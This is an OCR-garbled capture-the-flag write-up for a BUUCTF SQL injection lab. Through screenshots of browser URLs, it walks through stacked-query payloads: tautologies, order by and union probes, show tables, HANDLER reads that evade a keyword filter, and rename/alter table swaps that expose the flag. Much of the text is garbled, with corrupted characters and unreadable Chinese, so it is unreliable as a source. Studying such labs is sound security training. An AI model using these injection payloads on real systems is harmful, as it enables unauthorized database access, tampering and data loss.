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hrrayll] {
[0]=2
string(1)} "1
[1]=>
string (7} “hahahah”

hrray(2) [
[0]=>
string(1} “2%
[1]=»
string(12) “miaomiadgmian”

hrray(2) {
[0]=»
string(6) 7114514"
[1]=»
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l Load URL nitip:/'B1982e08-3a01-4090-ad54-ec 4de D582 22 noded buucy cnc81/7nject=1' or '1'="1
4} SpitURL
+) Execute

[0 Postdata [] Referer [] User Agent [] Cookies Clear Al
ADD T

order by/#i 7 B2


https://imgtu.com/i/Hb3IgI

e ?inject=1' order by 3%23

&« C @ O & 81982e98-aaf1-4c90-ad54-ecddch58fe22.noded. buuoj.cn:81/%inject=1' order by 3%23
BMFREXEERIREE, Ril—2i&: ARNZE2R—A0]
za 1 =000

error 1054 : Unknown column '3 in ~order clause’
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Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other ~
& Load URL htip://81982e98-aaf1-4c90-ad54-ec4dch58fe22 noded buuoj.cn:81/?inject=1' order by 3%23
1 split URL

Execute
- [J Postdata [] Referer [J User Agent [J Cookies Clear All

ADD T

4£runion select’&k 3133 8 H1
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e ?inject=1' union select 1,2%23
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By =500

|return prez_match(”fselect |update|delete|drop |insert |wherel|l. /17, $inject): I
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) Load URL http-//81982e08-aaf1-4c90-ad54-ec4dcb58fe22 noded buuoj.cn:81/?inject=1' union select 1,2%23
I split URL
») Execute

[ Postdata [] Referer [] User Agent [] Cookies Clear All
ADD T
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e ?inject=1';show tables%23

| <« C O & 81982e98-aaf1-4c90-ad54-ecddcb58fe22.noded.buuoj.cn:81/%inject=-1";show tables%23
REZLRIEESEE, Rii—aiE: ARflZ2R—%0
m*ZH:EtA “ = N ‘E- ﬂ] Q Z;ﬂ
z 1 =00
array(1) {
[ol=>»
string(16) “1919810931114514”
}
array(1) {
[ol=>»
string(5) “words”
1
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g Load URL http://81982e98-aaf1-4c90-ad54-ecddch58fe22 noded buuoj.cn:81/?inject=-1"show tables%23

I split URL
») Execute

[J Postdata [] Referer [J User Agent [ Cookies Clear All
ADD T
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e ?inject=-1";show columns from "1919810931114514" %23
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ZH EFER
array(6) 1
[0]=>
string(4) “flag”
[1]=>
string(12) “varchar (100"
[2]=>
string(2) “NO7
[3]=>
string(0) 77
[4]=>
NILL
[5]1=>
string(0) 77
1
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@ Load URL hitp://81982e98-aafi-4c90-ad54-ec4dch58fe22 node4.buuoj.cn:81/2inject=-1";show columns from[1919810931114514 %23
1 split URL
v ) Execute .
Post data Referer User Agent Cookies Clear All
ADD T
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e help handler;

mysql> help handler

Name: "HANDLER®'

Description:

Syntax:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | = } (valuel,value2,...
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ index_name { FIRST | MNEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ § FIRST | NEXT }
[ WHERE where_condition ] [LIMIT

HANDLER tbl_name CLOSE

The HANDLER statement provides direct access to table storage engine
interfaces. It is available for InnoDB and MyISAM tables.

URL: https://dev.mysql.com/doc/refman/5.7/en/handler.html

1. handler EiLEUHIE & open as Hl4; GTHF—AAIWSEH], BT LA G4, —A~as N T F 58 07 F 845
2. handler |4 read next; CEAIMEE3) 2R A 1958 — 17 £088 9F HitHL, thnl DL firstalis lastist U8 — 47 f g5 —1T)
3. handler H4 close; CE-IXANA)HKES26] 5% )

T f#handlerff) IV AL & B A E Elflag

e ?inject=1';handler 1919810931114514 open as toert;handler toert read next%23

<« = C @ O B T7dcdeac6-bbb9-48ch-b925-6743505a397b.noded.buuoj.cn:81/?inject=1%handler “1919810931114514° open as toert;handler toert read |
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=1 =5

array(2) 1

string(7) “hahahah”
}

array(1) {

[0]=

string (42) “flag [12377360-d6a0-4e56-b93d-0c666dc0c1bea)
5
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igg Load URL http://7dcdeacB-bbb9-48cb-b925-6743505a397b.noded buuoj.cn:81/%inject=1".handler|"1919810931114514" bpen as toert:handler toert read next%23|
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) Execut:
) Bxeauie [] Postdata [] Referer [] User Agent [[] Cookies Clear All

ADD T
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St FXESE M T —FEE —M s 52K 1919810931114514 K S skwords 4R J5 15 F alter table%$1919810931114514
% ffalgF) & 1B words H Hid 3144 SR g i JR A 1 2 ) K flag 220 HE ok, Bk payloadin



e ?id=1';rename table words to word;rename table 1919810931114514 to words;alter table words change flag
id varchar(100);show tables;

&« (¢ U 8 fcYecd30-9b4d-4eal-8889-23ccc26a8753.node4 buuaj.cni81/?inject=1"rename table words to word;rename table “1919810931114514 to vy Q ig=
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array(2) [
[o]=>
string(1) 717
[1]=>
string(7) “hahahah”

array(1) {
[0]=>
string (4) “word”

array(1) {
[o]=>

string(5) “words”
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Encryption ~ Encoding ~ SQL~ XSS~ LFl~ XXE~ Other~
i@ Load URL hitp://fc9ecd30-9b4d-4ea1-8889-23ccc26a8753 . noded buuoj cn:81/?inject=1";rename table words to word;rename table “1919810931114514 to words;alter table words change flag id varchar(100);show tables;
B spitURL
») Execute

[0 Postdata [ Referer [J UserAgent [J Cookies Clear All
ADD T

e ?id=1' or '1'="1

a1 I=="]

arrav(1) |
me

string(42) "flag {392acfe-950k-43aa-a4d2-d1461243:9381 ~
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@ Load URL hitp://fc9ecd30-9b4d-4eal1-8889-23ccc26a8753.noded . buuoj.cn:81/?inject=1' or '1'="1
i split URL
») Execute

[] Postdata [] Referer [] User Agent [] Cookies Clear All
ADD T
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B MR KR L FBRN SRR G E A alter table add #1919810931114514F H 1 — />4 FdataFl], XLk 55 A T R
SkHIwords 3 45 1), % # indata®l 2 B 8 H i R A i selectiE A) B i% & select * from words where id="[F 0 T “*"Fr LA 4 B BE
Hi 3k, 518 A) Aselect id,data from words, 3 F JE 4R i 7 vE B Fr ik 2 HiflagfE T B AR A Bldata Bl selecti f) &k 4 payload 1
-

?inject=1"';rename table words to word;rename table "1919810931114514° to words;alter table words change flag id

varchar(100)%23

FiE NB & 15 Elflag

e 1' or '"1'="1

&« C @ O 8 41e85ff0-7925-4085-9f27-ceBBe1fe5013.noded.buuoj.cn:81/7inject=1" or "1'="1
MAFRAEELRRESE, Rii—iE: FRNZSR—FT
B (1 ==

arrayil) |

[nl=
| string(42) “flag[30104a42-8eec-4fb1-998e-d3c2cbabddfal ™
}
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& Load URL http://41e85ff0-7925-4085-9f27-ce88e1fe5013.noded .buuoj.cn:81/?inject=1" or '1'="1
g,g Split URL
»  Execute

[] Postdata [] Referer [] User Agent [] Cookies Clear All
ADD "/
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e select id,name from student

mysql> select id,name from student;

2 rows in set (8.88 sec)

Hstudent& H A name 7 BUE FH BRI NI 978 At = 1 88

e alter table drop name;

e select id,name from student;

mysgl> alter table student drop name;
Query OK, @ rows affected (0.78 sec)
Records: © Duplicates: 8 Warnings:

mysgl> select id,name from student;
ERROR 1854 (42522): Unknown column 'name®' in 'field list®
mysql>
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